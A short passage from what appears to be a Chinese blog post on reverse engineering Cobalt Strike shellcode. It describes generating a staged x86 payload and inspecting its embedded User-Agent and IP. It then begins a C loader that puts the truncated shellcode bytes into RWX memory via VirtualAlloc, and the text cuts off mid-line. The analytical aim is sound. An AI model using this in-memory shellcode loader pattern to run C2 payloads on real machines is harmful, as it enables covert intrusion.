CS 逆向初探
首先,用裸ip直接生成一个cs的shellcode,用的是分离式的。
然后生成的是x86的,也就是32位的c语言的shellcode。
生成代码其实就是一个大小千字节左右的,无符号字符数组,把这段16进制数放到010editor(一个常用的编辑工具)里查看,除了执行代码外,还有一部分写死的数据,比如User-Agent,IP或域名等。
就把这段代码加载到内存去执行,来进一步分析,加载的代码如下:
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\...(省略)";
void start()
{
printf("begin....");
//分配内存,可读可写可执行
char*start = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memc